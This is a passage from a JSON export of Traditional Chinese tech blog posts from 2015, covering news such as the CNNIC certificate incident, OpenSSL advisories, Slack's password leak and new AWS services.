交換。\r\n\r\n不過學術網路 (TANet) 得繞到香港 <a href=\"http://www.hkix.net/\">HKIX</a> 再回來，這就有點虧了，不曉得 Facebook 對學網是不是吐其他的 endpoint 出去。(有租用國際線路 transit 的學校應該會走租用的國際線路，通常是 <a href=\"https://www.twgate.net/\">TWGate</a> 就交換到 TPIX，不會這樣繞...)",
    "title": "幾個新發現：IPv6 與 Facebook 台灣機房..."
  },
  {
    "id": "5669",
    "body": "在 <a href=\"https://insights.ubuntu.com/\">Ubuntu Insights</a> 上看到「<a href=\"https://insights.ubuntu.com/2015/03/17/uk-government-issues-ubuntu-14-04-lts-security-guidance/\">UK Government issues Ubuntu 14.04 LTS Security Guidance</a>」，英國政府發布了 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 14.04 LTS 的資安規範：「<a href=\"https://www.gov.uk/government/publications/end-user-devices-security-guidance-ubuntu-1404-lts\">End User Devices Security Guidance: Ubuntu 14.04 LTS</a>」，在裡面甚至還包括了 script 幫你處理。\r\n\r\n可以在「<a href=\"https://www.gov.uk/government/collections/end-user-devices-security-guidance\">End User Devices Security and Configuration Guidance</a>」的「Per-platform Guidance」看到其他作業系統的資安管理規範。\r\n\r\n在企業規劃內部的資安規範時也可以拿來參考看看？",
    "title": "英國政府對電腦的資安管理機制：Ubuntu 14.04 LTS 的部份"
  },
  {
    "id": "5670",
    "body": "在「<a href=\"http://blog.chromium.org/2015/03/new-javascript-techniques-for-rapid.html\">New JavaScript techniques for rapid page loads</a>」這篇提到了 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 41 對網頁速度的改善，尤其是 JavaScript 很多的情況下：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/6IGMtKZ.webp\" /><img src=\"https://i.gslin.com/imgur/6IGMtKZ.jpg\" alt=\"\" /></picture>\r\n\r\n另外 Google Chrome 42 則會再透過 cache 加速 (目前的穩定版是 41)：\r\n\r\n<blockquote>Chrome 42 introduces an advanced technique of storing a local copy of the compiled code, so that when the user returns to the page the downloading, parsing, and compiling steps can all be skipped. Across all page loads, this allows Chrome to avoid about 40% of compile time and saves precious battery on mobile devices.</blockquote>\r\n\r\n<a href=\"https://jquery.com/\">jQuery</a> 這類經常被重複載入的程式碼將會被 compile + cache，大幅加快頁面呈現的速度。\r\n\r\n從另外一方面觀察，已經進展到使用 cache 機制加速，看起來其他的都做的差不多了？",
    "title": "Google Chrome 41 的加速改善"
  },
  {
    "id": "5674",
    "body": "前幾天 <a href=\"https://www.openssl.org/\">OpenSSL</a> 就已經先發出通知，將會有安全性更新：「<a href=\"https://mta.openssl.org/pipermail/openssl-announce/2015-March/000020.html\">Forthcoming OpenSSL releases</a>」。\r\n\r\n剛剛看到更新了，總共 14 個 (但官網上寫「Security Advisory: twelve security fixes」，這是怎樣...)：「<a href=\"https://www.openssl.org/news/secadv_20150319.txt\">OpenSSL Security Advisory [19 Mar 2015]</a>」，其中有兩個 Severity: High 的更新，有一個是之前就已經公開了。\r\n\r\n不過一堆 segmentation fault、memory corruption 的安全性更新...",
    "title": "OpenSSL 的安全性更新 (2015/03/19)"
  },
  {
    "id": "5675",
    "body": "剛剛看到的消息，<a href=\"http://resources.publicense.moe.edu.tw/\">教育部國語辭典公眾授權網</a>採用 <a href=\"https://creativecommons.org/licenses/by-nd/3.0/tw/legalcode\">CC BY-ND 3.0 TW</a> 授權，將《重編國語辭典修訂本》、《國語辭典簡編本》、《國語小字典》三本字辭典公開授權，並且提供結構化的資料下載：\r\n\r\n<div id=\"fb-root\"></div><script>(function(d, s, id) {  var js, fjs = d.getElementsByTagName(s)[0];  if (d.getElementById(id)) return;  js = d.createElement(s); js.id = id;  js.src = \"//connect.facebook.net/en_US/all.js#xfbml=1\";  fjs.parentNode.insertBefore(js, fjs);}(document, 'script', 'facebook-jssdk'));</script><div class=\"fb-post\" data-href=\"https://www.facebook.com/audreyt.org/posts/10153349965569928\" data-width=\"640\"><div class=\"fb-xfbml-parse-ignore\"><a href=\"https://www.facebook.com/audreyt.org/posts/10153349965569928\">Post</a> by <a href=\"https://www.facebook.com/audreyt.org\">唐鳳</a>.</div></div>\r\n\r\nND 有點可惜啊，不過是一大步了...",
    "title": "教育部三本字辭典改用 CC BY-ND 3.0 TW 授權"
  },
  {
    "id": "5676",
    "body": "從「<a href=\"http://tech.slashdot.org/story/15/03/20/0259208/amazon-launches-one-hour-delivery-service-in-baltimore-and-miami\">Amazon Launches One-Hour Delivery Service In Baltimore and Miami</a>」這邊看到的，引用的報導是「<a href=\"http://www.baltimoresun.com/business/bs-bz-amazon-now-20150319-story.html\">Amazon launches one-hour delivery service in Baltimore</a>」。\r\n\r\n有付 <a href=\"https://www.amazon.com/gp/prime\">Amazon Prime</a> 費用的人在這兩個地區將提供兩小時到貨 (free)，或是一小時到貨 (多收 USD$7.99)：\r\n\r\n<blockquote>The service will be available in select zip codes to Amazon Prime subscribers, who pay $99 a year for unlimited free two-day delivery on more than 20 million items. The one-hour service, available through the Prime Now mobile app, costs $7.99, while two-hour delivery will be free.</blockquote>\r\n\r\n去年在曼哈頓的實驗算是成功吧... 只是 <a href=\"http://www.faa.gov/\">FAA</a> 同意無人小型貨運機的實驗授權一下來就這樣公佈啊... (<a href=\"http://www.faa.gov/news/updates/?newsId=82225\">Amazon Gets Experimental Airworthiness Certificate</a>)",
    "title": "Amazon 在巴爾的摩與邁阿密推出「一個小時到貨」服務..."
  },
  {
    "id": "5679",
    "body": "在「<a href=\"http://yro.slashdot.org/story/15/03/18/2048244/microsoft-blacklists-fake-finnish-certificate\">Microsoft Blacklists Fake Finnish Certificate</a>」這邊看到出包，引用的報導來自「<a href=\"http://www.govinfosecurity.com/microsoft-blacklists-fake-certificate-a-8021\">Microsoft Blacklists Fake Certificate</a>」，微軟的安全性通知則是在「<a href=\"https://technet.microsoft.com/en-us/library/security/3046310\">Microsoft Security Advisory 3046310 (Improperly Issued Digital Certificates Could Allow Spoofing)</a>」這邊。\r\n\r\n原因是因為 hostmaster 這個使用者名稱沒有擋下來不讓使用者註冊：\r\n\r\n<blockquote>In fact, he reports that he was able to register the alias \"Hostmaster@live.fi\", which he then used to obtain a legitimate HTTPS certificate for Live.fi via Comodo, which is the world's largest digital certificate authority.</blockquote>\r\n\r\n這件事情拉出了對於「認證」一直沒有標準可以遵循的問題，大致上只有「<a href=\"https://tools.ietf.org/html/rfc2142\">RFC 2142 - Mailbox Names for Common Services, Roles and Functions</a>」有列出一些常用的 username，其他的就沒印象了。<a href=\"https://cabforum.org/\">CA/Browser Forum</a> 不知道有沒有對應的標準...",
    "title": "Comodo 發出微軟 live.fi 的 SSL Certificate..."
  },
  {
    "id": "5680",
    "body": "<a href=\"https://www.microsoft.com/\">Microsoft</a> 的 Windows 10 更進一步限制了 Secure Boot 的選擇：「<a href=\"http://www.extremetech.com/extreme/201722-linuxs-worst-case-scenario-microsoft-makes-secure-boot-mandatory-locks-out-other-operating-systems\">Linux’s worst-case scenario: Windows 10 makes Secure Boot mandatory, locks out other operating systems</a>」。\r\n\r\n之前是關閉，現在則是必須要 optional (包裝用語啦，意思是預設值打開，使用者可以進 UEFI console 關閉)：\r\n\r\n<blockquote>OEMs are still required to ship Secure Boot, but the previously mandatory disable switch is now optional</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/BDCobqq.webp\" /><img src=\"https://i.gslin.com/imgur/BDCobqq.jpg\" alt=\"\" /></picture>\r\n\r\n是個「溫水煮青蛙」的概念，如果這次沒擋下來，下一次 Microsoft 就會規定 OEM 出版只能在安裝在強制打開 Secure Boot 的機器上使用 (不能關閉)。",
    "title": "溫水煮青蛙：Windows 10 與 Secure Boot"
  },
  {
    "id": "5681",
    "body": "直接貼 tweet：\r\n\r\n<blockquote class=\"twitter-tweet\" lang=\"en\"><p>キンブレⅩⅢぱねぇｗｗｗｗｗ RGBW調整できてカラーリング無限大ｗｗｗｗｗ <a href=\"http://t.co/quSDK0Q8JD\">pic.twitter.com/quSDK0Q8JD</a></p>&mdash; めしあ＠AJN→AJ両日 (@mesia_) <a href=\"https://twitter.com/mesia_/status/579085573689724930\">March 21, 2015</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n日本人戰力無限啊，如果配合 public key 機制，說不定還可以做到可重複使用讓主辦單位 remote control 的版本？",
    "title": "KING BLADE 第十三代：沃槽..."
  },
  {
    "id": "5682",
    "body": "最近很熱門的新聞：「<a href=\"http://tech.slashdot.org/story/15/03/20/1639215/ftc-google-altered-search-results-for-profit\">FTC: Google Altered Search Results For Profit</a>」，國內也有媒體已經報導 (<a href=\"http://www.ithome.com.tw/news/94713\">報導：FTC機密文件指控Google不當商業行為壟斷搜尋市場</a>)，不過沒受到太多注意？\r\n\r\n起因自 <a href=\"http://www.wsj.com/\">The Wall Street Journal</a> (WSJ) 透過 <a href=\"https://en.wikipedia.org/wiki/Freedom_of_Information_Act_(United_States)\">FOIA</a> (<a href=\"https://zh.wikipedia.org/wiki/信息自由法\">資訊自由法</a>) 要資料的時候，意外拿到 2012 年 <a href=\"https://www.ftc.gov/\">FTC</a> 對 <a href=\"https://www.google.com/\">Google</a> 壟斷而做出評估的文件，整個案件於 2013 年年初達成和解。\r\n\r\nWSJ 的報導可以參考「<a href=\"http://www.wsj.com/articles/inside-the-u-s-antitrust-probe-of-google-1426793274\">Inside the U.S. Antitrust Probe of Google</a>」這篇。(有 Paywall，可以透過 Google 搜尋這個標題後再點進去 XDDD)\r\n\r\n<img src=\"https://i.gslin.com/imgur/Z8AgY6s.jpg\" alt=\"\" />\r\n\r\n另外 Google 內部知道他們的市占率比外部估出來的高出不少 (外部估算 65%，但內部自己評估 69% 到 84%)，但也因此感到欣慰 (避免了反壟斷的壓力)：\r\n\r\n<blockquote>Data included in the report suggest Google was more dominant in the U.S. Internet search market than was widely believed. The company estimated its market share at between 69% and 84% during a period when research firm comScore put it at 65%. “From an antitrust perspective, I’m happy to see [comScore] underestimate our share,” the report quoted Google Chief Economist Hal Varian as saying, without specifying the context.</blockquote>\r\n\r\n接下來看看美國政府會怎麼出招，另外歐盟也應該會交叉參考？",
    "title": "Google 利用搜索的壟斷優勢打擊競爭對手"
  },
  {
    "id": "5683",
    "body": "在「<a href=\"http://hardware.slashdot.org/story/15/03/19/1453212/to-avoid-nsa-interception-cisco-will-ship-to-decoy-addresses\">To Avoid NSA Interception, Cisco Will Ship To Decoy Addresses</a>」這篇看到的報導，出自「<a href=\"http://www.theregister.co.uk/2015/03/18/want_to_dodge_nsa_supply_chain_taps_ask_cisco_for_a_dead_drop/\">Cisco posts kit to empty houses to dodge NSA chop shops</a>」這篇。\r\n\r\n去年 <a href=\"https://en.wikipedia.org/wiki/Edward_Snowden\">Snowden</a> 揭露的資料顯示 <a href=\"https://www.nsa.gov/\">NSA</a> 會攔截 <a href=\"https://www.cisco.com/\">Cisco</a> 的硬體，並且在上面安裝後門再打包寄出：「Greenwald alleges NSA tampers with routers to plant backdoors」：\r\n\r\n<blockquote>\"The NSA routinely receives – or intercepts – routers, servers and other computer network devices being exported from the US before they are delivered to the international customers.\"\r\n\r\nThe agency then implants backdoor surveillance tools, repackages the devices with a factory seal and sends them on. The NSA thus gains access to entire networks and all their users.</blockquote>\r\n\r\n不過 Cisco 的反應好慢，去年五月就有的消息，現在才提出改善方案。\r\n\r\n改善的方法是寄送到集散地，再請人去拿。讓 NSA 之類的單位想要攔截的成本提高。",
    "title": "Cisco 會將硬體寄送到貨運商，以提高 NSA 攔截安裝後門的難度"
  },
  {
    "id": "5684",
    "body": "<a href=\"http://slashdot.org/\">Slashdot</a> 上看到「<a href=\"http://developers.slashdot.org/story/15/03/21/1445252/arkansas-is-now-the-first-state-to-require-that-high-schools-teach-coding\">Arkansas Is Now the First State To Require That High Schools Teach Coding</a>」，報導自「<a href=\"http://exile.is/arkansas-is-now-the-first-state-to-require-that-high-schools-teach-coding/2815\">Arkansas is Now the First State to Require That High Schools Teach Coding</a>」。\r\n\r\n2015～2016 這個年度將會開始招募大量教師，在高中內教 coding，大約花費一億五千萬台幣。\r\n\r\n<blockquote>Training programs for teacher preparation will be available, but with the majority of the infrastructure already primed, the execution of this new law should hopefully be painless and seamless.</blockquote>\r\n\r\n推行到高中啊...",
    "title": "阿肯色州成為第一個要求高中教 coding 的州"
  },
  {
    "id": "5687",
    "body": "<a href=\"https://www.facebook.com/\">Facebook</a> 推出 <a href=\"https://github.com/facebook/augmented-traffic-control\">Augmented Traffic Control</a>，模擬網路環境：「<a href=\"https://code.facebook.com/posts/1561127100804165/augmented-traffic-control-a-tool-to-simulate-network-conditions/\">Augmented Traffic Control: A tool to simulate network conditions</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ReZpgTC.webp\" /><img src=\"https://i.gslin.com/imgur/ReZpgTC.jpg\" alt=\"\" /></picture>\r\n\r\n可以測這五種變數：\r\n\r\n<ul>\r\n\t<li>bandwidth</li>\r\n\t<li>latency</li>\r\n\t<li>packet loss</li>\r\n\t<li>corrupted packets</li>\r\n\t<li>packets ordering</li>\r\n</ul>\r\n\r\nFacebook 的成果是 <a href=\"https://www.python.org/\">Python</a> + <a href=\"https://www.djangoproject.com/\">Django</a> 寫的前端管理界面，實際運作還是透過 <a href=\"http://www.linux.org/\">Linux</a> 的 <a href=\"http://www.netfilter.org/\">iptables</a>。\r\n\r\n也有提供 <a href=\"https://www.vagrantup.com/\">Vagrant</a> 的操作方式讓人「試用」，主要是讓人在本機上就可以用吧？",
    "title": "Facebook 的「Augmented Traffic Control」模擬網路環境"
  },
  {
    "id": "5688",
    "body": "<a href=\"http://googleonlinesecurity.blogspot.com/\">Google Online Security Blog</a> 來的消息，<a href=\"http://www.cnnic.cn/\">CNNIC</a> 授權 <a href=\"http://www.mcsholding.com/\">MCS Holdings</a> 的 Intermediate certificate 被拿來發 www.gmail.com 的憑證：「<a href=\"http://googleonlinesecurity.blogspot.com/2015/03/maintaining-digital-certificate-security.html\">Maintaining digital certificate security</a>」。\r\n\r\n<a href=\"https://www.mozilla.org/\">Mozilla</a> 也發出警告：「<a href=\"https://blog.mozilla.org/security/2015/03/23/revoking-trust-in-one-cnnic-intermediate-certificate/\">Revoking Trust in one CNNIC Intermediate Certificate</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/vXPjkaQ.jpg\" alt=\"\" />\r\n<small>取自「<a href=\"http://www.williamlong.info/archives/4183.html\">谷歌称CNNIC发布中间人攻击证书</a>」</small>\r\n\r\n當初有習慣把 CNNIC 的 root certificate 拔掉的人這次不受影響。",
    "title": "CNNIC 所發出的 MCS Holdings 發出 Gmail 的 SSL 憑證，攻擊 Gmail 使用者"
  },
  {
    "id": "5689",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 宣佈的新功能，自動 replicate 到其他區域的 <a href=\"https://aws.amazon.com/s3/\">Amazon S3</a> 上：「<a href=\"https://aws.amazon.com/blogs/aws/new-cross-region-replication-for-amazon-s3/\">New – Cross-Region Replication for Amazon S3</a>」。\r\n\r\n需要打開 Versioning 的功能，然後就可以設定了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/SvuXQeJ.webp\" /><img src=\"https://i.gslin.com/imgur/SvuXQeJ.jpg\" alt=\"\" /></picture>\r\n\r\n新上傳的 object 才會被 replicate，原先的 object 是不會有改變的。",
    "title": "Amazon S3 的 Cross-Region Replication"
  },
  {
    "id": "5691",
    "body": "<a href=\"https://slack.com/\">Slack</a> 由於發現密碼外洩，剛剛發佈了資安通報：「<a href=\"http://slackhq.com/post/114696167740/march-2015-security-incident-and-launch-of-2fa\">March 2015 Security Incident and the Launch of Two Factor Authentication</a>」。\r\n\r\n這次也因此推出了兩個功能：\r\n\r\n<ul>\r\n\t<li>Two Factor Authentication (2FA)，使用者可以設定 2FA 登入。</li>\r\n\t<li>Password Kill Switch，管理者可以強制重設所有人的密碼。</li>\r\n</ul>\r\n\r\n另外也透漏使用 <a href=\"https://en.wikipedia.org/wiki/Bcrypt\">bcrypt</a> 為密碼演算法，只要密碼強度夠強，即使透漏出去應該也是不會有問題 (當然換掉還是比較好)。",
    "title": "Slack 密碼外洩"
  },
  {
    "id": "5692",
    "body": "<a href=\"https://aws.amazon.com/workmail/\">Amazon WorkMail</a> 在今年一月底時推出 Preview (參考「<a href=\"https://blog.gslin.org/archives/2015/01/29/5560/amazon-%E8%B7%A8%E8%B6%B3-email-%E5%B8%82%E5%A0%B4/\">Amazon 跨足 Email 市場</a>」)，需要填單申請。\r\n\r\n昨天發現申請到了，由於 Amazon WorkMail 只有 us-west-1 與 eu-west-1 有服務，所以在 us-east-1 開了一個 domain 測試。\r\n\r\n帳號與 <a href=\"https://aws.amazon.com/iam/\">IAM</a> 分開，另外吃 <a href=\"https://aws.amazon.com/directoryservice/\">AWS Directory Service</a>，我是透過 Simple AD 管理帳號。\r\n\r\n由於目前不支援 POP3 與 IMAP，所以也不用在這折騰了：(<a href=\"https://aws.amazon.com/workmail/faqs/\">Amazon WorkMail FAQs</a>)\r\n\r\n<blockquote>Q: Can I use Amazon WorkMail with my existing POP3 or IMAP clients?\r\nNo, Amazon WorkMail currently does not offer support for POP3 or IMAP clients.</blockquote>\r\n\r\n所以這次先只看 webmail 的部份。\r\n\r\n以一個用 <a href=\"https://mail.google.com/mail\">Gmail</a> 用習慣的人 (而且用快速鍵已經很順手了)，邊翻文件邊用，過十分鐘後就覺得「好陽春啊」...\r\n\r\n快速鍵能做的事情相當少，大多都還是要用鍵盤操作。另外看得出來沒有 preload，翻下一封信的時候還是要等待一下。\r\n\r\n另外沒有 Send as 的功能 (舉例來說，我雖然是 ooxx@gmail.com，但我可以透過認證後以 ooxx@kkbox.com 的 From 寄出信件)，對外很不方便。\r\n\r\n還有一些是 bug，修掉應該只是時間的問題。像是我把 preview 位置改成 bottom 後，再把 preview 視窗拉大，切到 setting 再切回來又變回原來的視窗大小了。\r\n\r\n離「可以用」的等級還有點遠 (現在是屬於「不能用」的等級)，先這樣放著吧...",
    "title": "Amazon WorkMail 使用感想..."
  },
  {
    "id": "5693",
    "body": "今年的 <a href=\"http://amturing.acm.org/\">Turing Award</a> 頒給了在資料庫領域上有重要貢獻的 <a href=\"https://en.wikipedia.org/wiki/Michael_Stonebraker\">Michael Stonebraker</a>：\r\n\r\n<blockquote>For fundamental contributions to the concepts and practices underlying modern database systems.</blockquote>\r\n\r\n<a href=\"http://www.acm.org/\">ACM</a> 的頁面上列了不少成就，比較熟的是 <a href=\"http://www.postgresql.org/\">PostgreSQL</a>，他是 PostgreSQL 發展重要的關鍵人物：(出自維基百科「<a href=\"https://en.wikipedia.org/wiki/PostgreSQL\">PostgreSQL</a>」條目)\r\n\r\n<blockquote>PostgreSQL evolved from the Ingres project at the University of California, Berkeley. In 1982 the leader of the Ingres team, <strong>Michael Stonebraker</strong>, left Berkeley to make a proprietary version of Ingres. He returned to Berkeley in 1985 and started a post-Ingres project to address the problems with contemporary database systems that had become increasingly clear during the early 1980s. The new project, POSTGRES, aimed to add the fewest features needed to completely support types. These features included the ability to define types and to fully describe relationships – something used widely before but maintained entirely by the user.</blockquote>",
    "title": "2014 年 Turing Award 得主：Michael Stonebraker"
  },
  {
    "id": "5694",
    "body": "在 <a href=\"http://www.zite.com/\">Zite</a> 上看到「<a href=\"http://www.slideshare.net/repeatedly/treasure-data-and-aws-developersio-2015\">Treasure Data and AWS - Developers.io 2015</a>」這篇，可以看看 <a href=\"http://www.treasuredata.com/\">Treasure Data</a> 遇到的問題以及他們的解法。\r\n\r\n這種文章除了看「怎麼做」以外，如果有提到「不怎麼做」也很值得看，也就是解釋避開了哪些東西。\r\n\r\n像是他們拿 <a href=\"http://www.postgresql.org/\">PostgreSQL</a> 放 metadata 這件事情就很奇怪：\r\n\r\n<img src=\"https://i.gslin.com/imgur/en4N0WG.jpg\" alt=\"\" />\r\n\r\n而他們解釋 <a href=\"https://aws.amazon.com/s3/\">Amazon S3</a> 的 LIST 的品質有問題：\r\n\r\n<img src=\"https://i.gslin.com/imgur/2fvwyYH.jpg\" alt=\"\" />\r\n\r\n另外也說明了因為 GiST 的需求，所以不使用 <a href=\"http://dev.mysql.com/\">MySQL</a>，而且這也自動說明了 <a href=\"https://aws.amazon.com/dynamodb/\">Amazon DynamoDB</a> 不符合需求：\r\n\r\n<img src=\"https://i.gslin.com/imgur/RjKfJWB.jpg\" alt=\"\" />\r\n\r\n另外也遇到與 <a href=\"https://www.netflix.com/\">Netflix</a> 同樣的問題，寫進去後因為 S3 的 Eventually Consistent 性質，不保證馬上讀的到：\r\n\r\n<img src=\"https://i.gslin.com/imgur/F7SqtDt.jpg\" alt=\"\" />\r\n\r\n如果沒有用到 GiST，用 DynamoDB 放 metadata 好像可以解決問題...",
    "title": "Treasure Data 用 AWS 的方法"
  },
  {
    "id": "5695",
    "body": "在「<a href=\"https://github.com/FastVPSEestiOu/fastnetmon/wiki/Traffic-filtration-using-NIC-capabilities-on-wire-speed-(10GE,-14Mpps)\">Traffic filtration using NIC capabilities on wire speed (10GE, 14Mpps)</a>」這邊看到的技巧。\r\n\r\n作者建議另外安裝 driver，因為 <a href=\"https://www.kernel.org/\">Linux kernel</a> 內的 driver 功能有限：「<a href=\"http://sourceforge.net/projects/e1000/files/\">Intel Ethernet Drivers and Utilities</a>」。\r\n\r\n重點在 <a href=\"https://www.kernel.org/pub/software/network/ethtool/\">ethtool</a> 這個工具，可以看到條件設定：\r\n\r\n<pre>ethtool --help:\r\n        ethtool -N|-U|--config-nfc|--config-ntuple DEVNAME    Configure Rx network flow classification options or rules\r\n        rx-flow-hash tcp4|udp4|ah4|esp4|sctp4|tcp6|udp6|ah6|esp6|sctp6 m|v|t|s|d|f|n|r... |\r\n        flow-type ether|ip4|tcp4|udp4|sctp4|ah4|esp4\r\n            [ src %x:%x:%x:%x:%x:%x [m %x:%x:%x:%x:%x:%x] ]\r\n            [ dst %x:%x:%x:%x:%x:%x [m %x:%x:%x:%x:%x:%x] ]\r\n            [ proto %d [m %x] ]\r\n            [ src-ip %d.%d.%d.%d [m %d.%d.%d.%d] ]\r\n            [ dst-ip %d.%d.%d.%d [m %d.%d.%d.%d] ]\r\n            [ tos %d [m %x] ]\r\n            [ l4proto %d [m %x] ]\r\n            [ src-port %d [m %x] ]\r\n            [ dst-port %d [m %x] ]\r\n            [ spi %d [m %x] ]\r\n            [ vlan-etype %x [m %x] ]\r\n            [ vlan %x [m %x] ]\r\n            [ user-def %x [m %x] ]\r\n            [ action %d ]\r\n            [ loc %d]] |\r\n        delete %d</pre>\r\n\r\n看起來 stateless 的過濾可以在上面做...",
    "title": "用 Intel 網卡上的 Flow Director 過濾封包"
  },
  {
    "id": "5696",
    "body": "前幾天的消息：「<a href=\"http://it.slashdot.org/story/15/03/26/1849204/rsa-conference-bans-booth-babes\">RSA Conference Bans \"Booth Babes\"</a>」。報導出自於「<a href=\"http://www.networkworld.com/article/2902752/security0/rsa-conference-bans-booth-babes.html\">RSA Conference bans ‘booth babes’</a>」。\r\n\r\n規範的文字：\r\n\r\n<blockquote>All Expo staff are expected to dress in business and/or business casual attire. Exhibitors should ensure that the attire of al staff they deploy at their booth (whether the exhibitor’s direct employees or their contractors) be considered appropriate in a professional environment. Attire of an overly revealing or suggestive nature is not permitted. Examples of such attire may include but are not restricted to:\r\n\r\n<ul>\r\n\t<li>Tops displaying excessive cleavage;</li>\r\n\t<li>Tank tops, halter tops, camisole tops or tube tops;</li>\r\n\t<li>Miniskirts or minidresses;</li>\r\n\t<li>Shorts;</li>\r\n\t<li>Lycra (or other Second-Skin) bodysuits;</li>\r\n\t<li>Objectionable or offensive costumes.</li>\r\n</ul>\r\n\r\nThese guidelines are applicable to all booth staff, regardless of gender, and will be strictly enforced. We reserve the right to request that individual booth staff change their attire or leave the premises immediately if we feel their appearance might be offensive to other exhibitors or attendees.</blockquote>\r\n\r\n讓我想起 2009 年 <a href=\"https://www.yahoo.com/\">Yahoo!</a> 辦的 Taiwan Open Hack Day：「<a href=\"http://allthingsd.com/20091019/yahoo-sorry-about-lap-dancers-at-hack-day-in-taiwan-so-whats-the-excuse-for-last-years-go-go-girls/#\">Yahoo Sorry About Lap Dancers at Hack Day in Taiwan–So What's the Excuse for Last Year's Go-Go Girls?</a>」。",
    "title": "RSA Conference 2015 禁止 Show Girl"
  },
  {
    "id": "5699",
    "body": "在「<a href=\"https://aws.amazon.com/blogs/aws/next-generation-of-dense-storage-instances-for-ec2/\">The Next Generation of Dense-storage Instances for EC2</a>」這邊公佈了 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 新的 D2 instance：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/QNlH66y.webp\" /><img src=\"https://i.gslin.com/imgur/QNlH66y.jpg\" alt=\"\" /></picture>\r\n\r\n最大台有 48TB 硬碟與 244GB 記憶體，這規格好熟悉...\r\n\r\n然後這次是全地區一起上，不過看起來不包括美國政府用的 <a href=\"https://aws.amazon.com/govcloud-us/\">AWS GovCloud (US)</a>：\r\n\r\n<blockquote>You can launch d2 instances today in the US East (Northern Virginia), US West (Oregon), Europe (Ireland), Europe (Frankfurt), Asia Pacific (Tokyo), Asia Pacific (Singapore), and Asia Pacific (Sydney) regions as On-Demand, Reserved Instances, or Spot Instances.</blockquote>",
    "title": "Amazon EC2 推出 D2 instance (超大硬碟空間)"
  },
  {
    "id": "5701",
    "body": "在「<a href=\"http://googleonlinesecurity.blogspot.com/2015/03/maintaining-digital-certificate-security.html\">Maintaining digital certificate security</a>」這篇文章裡的更新：\r\n\r\n<blockquote><strong>Update - April 1</strong>: As a result of a joint investigation of the events surrounding this incident by Google and CNNIC, we have decided that the CNNIC Root and EV CAs will no longer be recognized in Google products. This will take effect in a future Chrome update. To assist customers affected by this decision, for a limited time we will allow CNNIC’s existing certificates to continue to be marked as trusted in Chrome, through the use of a publicly disclosed whitelist. While neither we nor CNNIC believe any further unauthorized digital certificates have been issued, nor do we believe the misissued certificates were used outside the limited scope of MCS Holdings’ test network, CNNIC will be working to prevent any future incidents. CNNIC will implement Certificate Transparency for all of their certificates prior to any request for reinclusion. We applaud CNNIC on their proactive steps, and welcome them to reapply once suitable technical and procedural controls are in place.</blockquote>\r\n\r\n<a href=\"https://www.google.com/\">Google</a> 的作法是將現有使用 CNNIC 發出的 SSL certificate 會以白名單形式放入，然後移除現有的 CNNIC 憑證。",
    "title": "CNNIC 的根憑證 (包括 EV) 從 Google 全系列產品移除"
  },
  {
    "id": "5702",
    "body": "繼「<a href=\"https://blog.gslin.org/archives/2015/04/02/5701/cnnic-%E7%9A%84%E6%A0%B9%E6%86%91%E8%AD%89-%E5%8C%85%E6%8B%AC-ev-%E5%BE%9E-google-%E5%85%A8%E7%B3%BB%E5%88%97%E7%94%A2%E5%93%81%E7%A7%BB%E9%99%A4/\">CNNIC 的根憑證 (包括 EV) 從 Google 全系列產品移除</a>」之後，<a href=\"https://www.mozilla.org/\">Mozilla</a> 也宣佈了移除 CNNIC 的根憑證：「<a href=\"https://blog.mozilla.org/security/2015/04/02/distrusting-new-cnnic-certificates/\">Distrusting New CNNIC Certificates</a>」。\r\n\r\n類似的模式，現有 CNNIC 所發出的 SSL certificate 還是可以繼續使用，但新的將被移除：\r\n\r\n<blockquote>[...], we have decided to update our code so that Mozilla products will no longer trust any certificate issued by CNNIC’s roots with a notBefore date on or after 1st April 2015.</blockquote>\r\n\r\n這包括了 Mozilla 的產品以及 <a href=\"https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSS\">NSS</a>，後者被用在很多 open source 產品。\r\n\r\n我的感覺是 <a href=\"https://www.google.com/\">Google</a> 先做了，所以 Mozilla 才放膽去做，如果 Google 沒做 Mozilla 大概不會有進一步動作。\r\n\r\nAnyway，把 CNNIC 移除總是好事...",
    "title": "Mozilla 也宣佈移除 CNNIC 根憑證"
  },
  {
    "id": "5704",
    "body": "不只一兩次被問到閱讀的來源有哪些：\r\n\r\n<ul>\r\n\t<li>各種 RSS feed，用 <a href=\"https://feedly.com/\">Feedly</a> 管理。</li>\r\n\t<li>各類 Social Network，包括 <a href=\"https://www.facebook.com/\">Facebook</a>、<a href=\"https://twitter.com/\">Twitter</a> 以及 <a href=\"https://www.plurk.com/\">Plurk</a>。</li>\r\n\t<li>文章推薦機制，像是 <a href=\"http://www.zite.com/\">Zite</a>。</li>\r\n</ul>\r\n\r\n從以前 <a href=\"https://en.wikipedia.org/wiki/Google_Reader\">Google Reader</a> 時代就在使用 RSS feed 追蹤各個 blog。同時，在後兩者 (Social Network 與文章推薦機制) 看到不錯的 blog 時也會訂起來。\r\n\r\n而 Facebook 是因為周邊有很多相關產業的朋友，總是可以看到一些分享。Twitter 是拿來訂一些名人的碎碎唸，有時候這些人只是發表一些看法，不一定會寫成一篇文章。(Blogging 與 Microblogging 的差異)\r\n\r\n最後 Zite 則是補看不到的部份，透過演算法提供給你相關的內容。<a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 也算是這類，每天從 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上整理十個重大的連結發表成一篇文章，然後可以透過 RSS reader 訂閱。\r\n\r\n對於要培養而不知道怎麼下手的人，有幾個可以先考慮：\r\n\r\n<ul>\r\n\t<li>先找一個好用的 RSS reader。</li>\r\n\t<li>一定要熟悉用快速鍵操作 RSS reader，要練到所有的行為都用鍵盤操作。</li>\r\n\t<li>把不同語言的 RSS feed 